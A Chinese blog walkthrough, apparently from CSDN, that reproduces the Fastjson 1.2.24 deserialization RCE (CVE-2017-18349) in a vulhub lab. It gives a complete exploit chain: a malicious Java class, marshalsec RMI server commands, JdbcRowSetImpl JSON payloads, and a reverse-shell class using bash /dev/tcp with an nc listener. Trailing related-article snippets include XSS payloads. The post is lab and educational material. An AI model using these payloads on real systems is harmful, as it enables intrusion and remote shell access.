Fastjson 1.2.24 反序列化导致任意命令执行漏洞复现(CVE-2017-18349)

写在前面

CVE-2017-18349 指的是 fastjson 1.2.24 及之前版本存在的反序列化漏洞,fastjson 于 1.2.24 版本后增加了反序列化白名单;

而在 2019 年,fastjson 又被爆出在 fastjson< =1.2.47 的版本中,攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令。

关于这两个漏洞的复现环境在 vulhub 下都有:

本篇博客主要介绍 1.2.24-rce 的复现,即 fastjson 1.2.24 反序列化导致任意命令执行漏洞。

攻击机:kali Linux(192.168.249.128)

靶机:kali Linux(192.168.249.132)

目录

一、什么是 Fastjson

二、漏洞原理

三、影响版本

四、环境搭建

五、漏洞验证

六、漏洞利用

1、marshalsec 安装

2、java 环境安装

3、命令执行

4、反弹shell


~~~~~~~~~~~~ 正文开始 ~~~~~~~~~~~~

一、什么是 Fastjson

Fastjson 是一个 Java 库,用于在 Java 对象和 JSON 数据之间进行转换,它提供了一种简单而高效的方式来序列化 Java 对象为 JSON 格式的字符串,以及将 JSON 字符串反序列化为 Java 对象。Fastjson 支持各种类型的 Java 对象,包括预先存在但没有源代码的对象。

二、漏洞原理

fastjson 在解析 JSON 数据时存在自动类型转换功能(autoType),利用该功能构造恶意 JSON 数据,使其在反序列化过程中触发漏洞利用链,从而实现恶意代码的执行。

详细过程分析:

1、目标网站在解析 JSON 数据时,未对 JSON 内容进行验证,直接将 JSON 解析成 Java 对象并执行。

2、攻击者构造特定的 payload(负载),其中包含恶意的 Java 对象及执行代码。

3、攻击者控制 URL 参数为之前开启的恶意 RMI 服务器地址,或者通过其他方式将恶意 JSON 数据传递给目标网站。

4、恶意 RMI 服务器返回 ReferenceWrapper 类,这是 Java 远程方法调用(RMI)中的一种对象类型。

5、目标网站在执行 lookup 操作时,通过 decodeObject 方法将 ReferenceWrapper 类转换成 Reference 类,然后远程加载并实例化攻击者恶意构造的 Factory 类,这个 Factory 类通常包含了恶意代码的执行逻辑,在实例化时触发 Factory 类中的静态代码段,从而执行恶意代码。

三、影响版本

受影响版本范围:fastjson<=1.2.24

四、环境搭建

操作对象 -- 靶机:kali Linux(192.168.249.132)

克隆好靶场后,进入到 1.2.24-rce 目录下

执行命令拉取镜像环境:

docker-compose up -d

这里的 docker-compose.yml 文件默认是将镜像的 80 端口映射到本地的 8090 端口 

查看运行的容器:

docker ps

可以看到确实是在 8090 端口 

直接访问本地的 8090 端口

靶场环境搭建成功,并且可以看到 JSON 格式的输出

当然,我们后续用另一台 kali 去复现时,则访问其内网 ip 的 8090 端口即可

我这里就是:192.168.249.132:8090

五、漏洞验证

操作对象 -- 攻击机:kali Linux(192.168.249.128)

使用 curl 命令发送 post 请求

curl http://192.168.249.132:8090/ -H "Content-Type: application/json" --data '{"age":21,"name":"myon"}'

可以看到 age 和 name 都变为我们提交的值

成功返回了 json 格式的请求结果,未报错

基本上可以说明存在该漏洞

六、漏洞利用

操作对象 -- 攻击机:kali Linux(192.168.249.128)

1、marshalsec 安装

这是 github上的一个开源项目,java 反序列化利用工具

git clone https://github.com/mbechler/marshalsec.git

这里同样需要用到 maven ,关于 mvn 的安装与配置可以参考我之前的博客:

maven 的安装与配置(Command ‘mvn‘ not found)修改配置文件后新终端依旧无法识别到 mvn 命令-CSDN博客icon-default.png?t=N7T8https://myon6.blog.csdn.net/article/details/136558685?spm=1001.2014.3001.5502安装好 maven 后,我们先刷新配置文件

source /etc/profile

之后在此终端键入 bash ,进入一个新 shell(注意:不是新开一个终端哦)

bash

切换到 marshalsec 文件夹下,如下图:

cd marshalsec

mvn clean package -DskipTests

在 marshalsec 目录下,我们对工具进行编译,生成 jar 包

mvn clean package -DskipTests

编译完成后如下图:

存在一些警告可以忽略,只要没有报错,显示 success

此时在 marshalsec 下会多出一个 target 目录

切换到 target 目录即可看到 jar 文件,也就是一会儿我们要使用到的工具

2、java 环境安装

有 java 命令不一定有 javac 命令

kali 是自带了 java 环境的,但是如果你执行命令那些还是有问题,可以尝试重新装一下 java 环境

使用如下命令可以实现快速安装:

cd /opt

curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz

tar zxvf jdk-8u20-linux-x64.tar.gz

rm -rf /usr/bin/java*

ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin

完成后检查一下:

javac -version

java -version

 

3、命令执行

首先编译恶意类代码,在攻击机上新建一个名为 TouchFile.java 的文件

内容为:

该代码尝试在靶场的  /tmp 目录下创建一个名为 myon 的文件

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/myon"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
// do nothing
        }
    }
}

 

对该文件进行编译,使用命令 javac(注意不是Java!用 java 会报错的)

javac TouchFile.java

执行完成后我们可以得到一个 .class 文件 

使用 python 搭建 http 服务,传输恶意文件

python -m http.server 6666

靶机访问其 6666 端口就可以看到恶意文件

如果 6666 端口访问受限制可以参考我前面博客解决:

解决火狐浏览器访问地址受限制问题(This address is restricted)-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/Myon5/article/details/136587633?spm=1001.2014.3001.5501 当然这里也不是一定要用 6666 端口,用一个未被占用的就行

接下来我们通过 marshalsec 启动一个 RMI 服务器,监听 1234 端口

并指定加载远程类 TouchFile.class

其中 ip 为攻击机的 ip ,端口号为我们刚才开启的 http 服务端口号,结尾端口号为监听端口号

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.249.128:6666/#TouchFile" 1234

然后我们在攻击机请求靶场地址:192.168.249.132:8090,并且使用 burpsuite 抓包

利用 burpsuite 向 靶场主机发送 payload,带上RMI地址

payload :

(host 为目标靶场所在地址,dataSourceName 中的 ip 为攻击机 ip 和前面的监听端口)

POST / HTTP/1.1

Host: 192.168.132.128:8090

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/json

Content-Length: 167



{

    "b":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"rmi://192.168.249.128:1234/TouchFile",

        "autoCommit":true

    }

}

再次查看 RMI 服务器,可以看到已经发送了 TouchFile.class

而我们监听的 http 服务 6666 端口也有回显:

192.168.249.132(靶机)访问了我们 http 服务下存放的恶意文件 TouchFile.class

我们进入靶机 docker 容器看一下:

docker exec -it 容器号 /bin/bash

切换到 tmp 目录下,对比发送 payload 前和发送 payload 后: 

可以看到 myon 文件创建成功,也就是说我们远程命令执行成功

4、反弹shell

方法与命令执行一样,修改我们的恶意文件即可

在攻击机上修改我们的恶意文件 TouchFile.java,内容为:

其中的 ip 为攻击机 ip ,反弹 shell 到攻击机 7788 端口

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.249.128/7788 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

同样先进行编译

javac TouchFile.java

同一目录下就会生成 .class文件 

为了避免大家混乱,我们刚才使用的那些端口号就不变:

开启 http 服务 

python -m http.server 6666

开启 RMI 服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.249.128:6666/#TouchFile" 1234

但是前面恶意代码里我们说了,我们要反弹 shell 到攻击机的 7788 端口

所以我们再开一个终端,监听 7788 端口

nc -lvnp 7788

此时,访问靶场地址,使用 burpsuite 抓包,添加 payload 后发包:

POST / HTTP/1.1

Host: 192.168.249.132:8090

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/json

Content-Length: 169

 



{

    "b":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"rmi://192.168.249.128:1234/TouchFile",

        "autoCommit":true

    }

}

发包后没有收到响应

 

观察三个终端回显情况

http 服务:

网页被请求

RMI 服务:

恶意文件被发送

7788:

反弹 shell 成功

尝试执行命令:

可行,并且是 root 权限

关于Fastjson 1.2.24 反序列化导致任意命令执行漏洞的复现至此结束

我觉得最容易混乱的就是里面涉及到很多服务和端口号,除了环境搭建,其它全是在攻击机上面操作的,靶机只是提供一个渗透环境,恶意文件这些肯定也是放在攻击机上,因为是我们在使用啊,人家靶机那边没事干拿恶意文件来干啥,在复现前我参考了一些其他博客,把那个恶意文件放到了人家靶机的 1.2.24-rce 目录下,很容易误导人,因此这里给大家说清楚,不要弄错了。

最后给大家分享一个学习人工智能的网站,通俗易懂,风趣幽默

人工智能icon-default.png?t=N7T8https://www.captainbed.cn/myon/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/445087.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

js【详解】async await

为什么要使用 async await async await 实现了使用同步的语法实现异步&#xff0c;不再需要借助回调函数&#xff0c;让代码更加易于理解和维护。 (async function () {// await 必须放在 async 函数中try {// 加载第一张图片const img1 await loadImg1()// 加载第二张图片co…

xss.haozi.me靶机 通关

0x00 没有任何过滤可以直接注入<img srcx οnerrοralert(1)> 0x01 使用了testarea标签将我们的输入内容以普通的字符串进行展示 但是我们可以将标签进行闭合 </textarea><img srcx οnerrοralert(1)> 0x02 我们依然可以先闭合之后添加属性a" οncl…

Arcgis小技巧【20】——属性表有东西,缩放至图层却看不到?

一、问题分析 这是一个看似正常的要素类数据&#xff0c;打开它的属性表&#xff0c;里面有一行要素&#xff1a; 说明这不是空数据。 回到地图界面&#xff0c;在图层列表中&#xff0c;右键单击&#xff0c;点击【缩放至图层】。 使用过这个功能的应该知道&#xff0c;点击…

数据结构奇妙旅程之二叉平衡树

꒰˃͈꒵˂͈꒱ write in front ꒰˃͈꒵˂͈꒱ ʕ̯•͡˔•̯᷅ʔ大家好&#xff0c;我是xiaoxie.希望你看完之后,有不足之处请多多谅解&#xff0c;让我们一起共同进步૮₍❀ᴗ͈ . ᴗ͈ აxiaoxieʕ̯•͡˔•̯᷅ʔ—CSDN博客 本文由xiaoxieʕ̯•͡˔•̯᷅ʔ 原创 CSDN …

数据结构入门篇 之 【单链表】的实现讲解(附单链表的完整实现代码以及用单链表完成通讯录的实现代码)

虽然封面是顶针&#xff0c;但是我们还是要好好学习❀ 一.单链表 1.单链表的概念 2.单链表的结构 3.单链表的实现 1&#xff09;.尾插函数 SLTPushBack 2&#xff09;.打印函数 SLPrint 3&#xff09;. 头插函数 SLTPushFront 4&#xff09;.尾删函数 SLTPopBack 5&am…

docker容器的数据卷

1配置数据卷 docker run --namen01 -d --restartalways -p 80:80 -v /qy172/data/nginx/html:/usr/share/nginx/html nginx 2Docker应用部署 1搜索mysql镜像 docker search mysql 2拉取mysql镜像 docker pull mysql:5.6 3创建容器&#xff0c; 设置端口映射、目录映射 d…

Pycharm安装,环境初次配置与运行第一个简单程序

一、Pycharm安装 1.在PyCharm官网中&#xff0c;找到社区版下载链接&#xff0c;下载Pycharm社区版&#xff0c;社区版免费 2.下载成功后&#xff0c;双击下载好的安装包&#xff0c;点击下一步后&#xff0c;点击“浏览”更改安装路径到C盘以外其他硬盘&#xff0c;点击“下…

6 种 卷积神经网络压缩方法

文章目录 前言 1、低秩近似 2、剪枝与稀疏约束 3、参数量化 4、二值化网络 &#xff08;1&#xff09;二值网络的梯度下降 &#xff08;2&#xff09;两个问题 &#xff08;3&#xff09;二值连接算法改进 &#xff08;4&#xff09;二值网络设计注意事项 5、知识蒸馏 6、浅层 …

Pulsar 社区周报 | No.2024.03.08 Pulsar-Spark Connector 助力实时计算

关于 Apache Pulsar Apache Pulsar 是 Apache 软件基金会顶级项目&#xff0c;是下一代云原生分布式消息流平台&#xff0c;集消息、存储、轻量化函数式计算为一体&#xff0c;采用计算与存储分离架构设计&#xff0c;支持多租户、持久化存储、多机房跨区域数据复制&#xff0c…

SpringCloudGateway理论与实践

文章目录 网关介绍为什么需要网关Gateway 使用gateway pom依赖yml 配置重启测试总结 断言过滤器工厂路由过滤器的种类请求头过滤器默认过滤器全局过滤器总结 Gateway解决跨域 网关介绍 Spring Cloud Gateway 是一个基于Spring Framework 5&#xff0c;由Spring Cloud团队开发的…

定制repo(不再切换python和google源)

文章目录 定制repo&#xff08;不再切换python和google源&#xff09;前言各用各的repo定制repo2/repo3源码自动识别repo2/repo3项目完整解决方案&#xff1a; 定制repo&#xff08;不再切换python和google源&#xff09; 众知&#xff0c;Android/AOSP/ROM系统开发&#xff0c…

垃圾回收:JavaScript内存管理的利器

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…

【SpringCloud】微服务重点解析

微服务重点解析 1. Spring Cloud 组件有哪些&#xff1f; 2. 服务注册和发现是什么意思&#xff1f;Spring Cloud 如何实现服务注册和发现的&#xff1f; 如果写过微服务项目&#xff0c;可以说做过的哪个微服务项目&#xff0c;使用了哪个注册中心&#xff0c;常见的有 eurek…

vue实现购物车功能

实现功能 CSS部分 <style>.tr {display: flex;}.th {margin: 10px;width: 20%;height: 50%;}.td {display: flex;margin: 10px;width: 20%;height: 100px;align-items: center;}.app-container .banner-box {border-radius: 20px;overflow: hidden;margin-bottom: 10px;}…

docker-swarm集群搭建

目录 一、docker swarm介绍 二、部署docker 三、搭建集群 3.1 工作模式 3.2 将当前主机作为leader 3.3 将第二个节点slave1加入到worker 3.4 将第三个节点slave2也加入到worker 3.5 将第四个节点(slave3)加入到manager 四、总结 一、docker swarm介绍 Docker Swarm…

CSS顶部与JS后写:网页渲染的奥秘

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…

动态规划(算法竞赛、蓝桥杯)--数位DP度的数量

1、B站视频链接&#xff1a;E38 数位DP 度的数量_哔哩哔哩_bilibili #include <bits/stdc.h> using namespace std; const int N34; int a[N];//把B进制数的每一位抠出存入数组 int f[N][N];//f[i][j]表示在i个位置上&#xff0c;放置j个1的组合数 int K,B;void init(…

11.Node.js入门

一.什么是 Node.js Node.js 是一个独立的 JavaScript 运行环境&#xff0c;能独立执行 JS 代码&#xff0c;因为这个特点&#xff0c;它可以用来编写服务器后端的应用程序 Node.js 作用除了编写后端应用程序&#xff0c;也可以对前端代码进行压缩&#xff0c;转译&#xff0c;…

Java 数据结构之链表

public ListNode getIntersectionNode(ListNode headA, ListNode headB) {if (headA null || headB null) return null;ListNode pA headA, pB headB;while (pA ! pB) {pA pA null ? headB : pA.next;pB pB null ? headA : pB.next;}return pA;} public ListNode rev…

2024.3.6每日一题

LeetCode 找出数组中的 K -or 值 题目链接&#xff1a;2917. 找出数组中的 K-or 值 - 力扣&#xff08;LeetCode&#xff09; 题目描述 给你一个下标从 0 开始的整数数组 nums 和一个整数 k 。 nums 中的 K-or 是一个满足以下条件的非负整数&#xff1a; 只有在 nums 中&…